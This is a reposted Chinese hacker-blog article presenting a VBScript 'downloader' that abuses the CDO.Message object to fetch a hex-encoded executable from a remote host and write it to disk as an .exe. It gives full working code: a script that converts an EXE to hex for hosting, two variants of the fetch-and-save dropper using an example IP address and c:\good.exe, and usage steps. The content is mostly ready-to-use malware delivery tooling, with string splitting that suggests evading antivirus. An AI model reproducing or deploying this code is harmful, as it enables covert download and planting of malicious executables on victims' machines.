最新版利用CDO.Message做的vbs下载者

vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者。伟大是装B的意思。

vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者。伟大是装B的意思。
NP先把代码写完了,详情看这里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
================================================

复制代码 代码如下:

'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt <16 then bin2str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function

======================================
下载者 down.vbs
=============
复制代码 代码如下:

on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with

==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法:
1.exe2hex.vbs 把exe转成十六进制,放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe


由于NP写的不知什么原因,在我机器上执行后生成的exe,进程不会自动退出,我重新更新一下。
=======用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。=======
复制代码 代码如下:




package file v0.1

ID="package file v0.1"
APPLICATIONNAME="package file v0.1"
VERSION="0.1"
SCROLL="no"
INNERBORDER="no"
CONTEXTMENU="yes"
CAPTION="yes"
ICON="no"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
MAXIMIZEBUTTON ="no"
WINDOWSTATE="normal"
NAVIGABLE="yes"
/>



请选择文件:






=====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上,用NP写的那个下载生成的htm也可以,代码更少=========
复制代码 代码如下:

'//保存文件
function saveFile(filename,str)
set adodbStream = CreateObject("ADODB" & "." & "Stream")
adodbStream.Type= 1
adodbStream.Open
adodbStream.write str
adodbStream.SaveToFile filename,2
adodbStream.Close
end function
'//VB数组转变成二进制格式
Function MultiByteToBinary(MultiByte)
Dim RS, LMultiByte, Binary
Const adLongVarBinary = 205
Set RS = CreateObject("ADODB.Recordset")
LMultiByte = LenB(MultiByte)
If LMultiByte>0 Then
RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
RS.Open
RS.AddNew
RS("mBinary").AppendChunk MultiByte & ChrB(0)
RS.Update
Binary = RS("mBinary").GetChunk(LMultiByte)
End If
MultiByteToBinary = Binary
End Function

function exec()
'//屏蔽错误
on error resume Next
Set args = WScript.Arguments
if args.Count = 0 then
WScript.Echo "Usage: CScript down.vbs url c:\1.exe"
WScript.Quit 1
end If
dim data,t,kk,filename,ss
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody args.Item(0) ,31
'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31
ss= Mail1.HTMLBody
Set Mail1=nothing

'//得到数据
data = ss
'//得到文件名
filename = args.Item(1)
'//得到数据长度
u = len(data)
'//获得文件数组
for i=1 to u step 2
t = mid(data,i,2)
kk = kk & ChrB(clng("&H" & t))
next
'//转变成二进制格式
dataArry = MultiByteToBinary(kk)
'//保存文件
saveFile filename,dataArry

end function
exec()

以上就是最新版利用CDO.Message做的vbs下载者的详细内容,更多请关注0133技术站其它相关文章!

赞(0) 打赏
未经允许不得转载:0133技术站首页 » 脚本专栏